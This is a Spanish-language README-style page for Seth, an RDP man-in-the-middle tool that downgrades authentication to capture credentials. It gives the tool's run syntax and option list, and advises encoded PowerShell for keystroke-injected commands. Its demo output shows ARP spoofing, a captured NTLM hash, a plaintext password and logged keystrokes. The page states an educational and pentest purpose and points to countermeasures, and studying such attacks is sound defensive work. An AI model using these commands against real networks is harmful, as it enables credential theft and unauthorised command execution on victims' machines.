Seth es una herramienta escrita en Python y Bash para las conexiones RDP de MitM al intentar degradar la conexión para extraer credenciales de texto sin cifrar. Fue desarrollado para crear conciencia y educar acerca de la importancia de las conexiones RDP correctamente configuradas en el contexto de pentests, talleres o charlas. El autor es Adrian Vollmer (SySS GmbH).
Ejecutarlo de esta manera:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
A menos que el host RDP esté en la misma subred que la máquina víctima, la última dirección IP debe ser la de la puerta de enlace.
El último parámetro es opcional. Puede contener un comando que se ejecuta en el host RDP simulando WIN + R a través de la inyección de eventos de pulsación de tecla. La inyección de pulsaciones depende de la distribución del teclado que esté utilizando la víctima; actualmente, solo es confiable con la distribución en inglés de los EE. UU. Sugiero evitar los caracteres especiales utilizando powershell -enc <STRING>
, donde STRING es su comando codificado en UTF-16le y Base64. Sin embargo, calc
debe ser bastante universal y hacer el trabajo.
seth.py -h
para obtener más información:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
Para más información, lea el PDF en doc/paper
(o lea el código). El documento también contiene recomendaciones para las medidas de contador.
También puede ver una presentación de veinte minutos que incluye una demostración (a partir de las 14:00) en Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
O vea solo la demostración (con subtítulos) aquí: https: / /www.youtube.com/watch?v=JvvxTNrKV-s
Demo
La siguiente salida muestra la vista del atacante. Seth rastrea un hash crackeable sin conexión, así como la contraseña de texto simple. Aquí, NLA no se aplica y la víctima ignoró la advertencia del certificado.
# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgradin g authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection rece ived from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
Requerimientos
-
python3
-
tcpdump
arpspoof
arpspoof
es parte dedsniff
-
openssl
Descargo de responsabilidad
Utilizar bajo su propio riesgo. No usar sin el consentimiento de todos los involucrados. Sólo para fines educativos.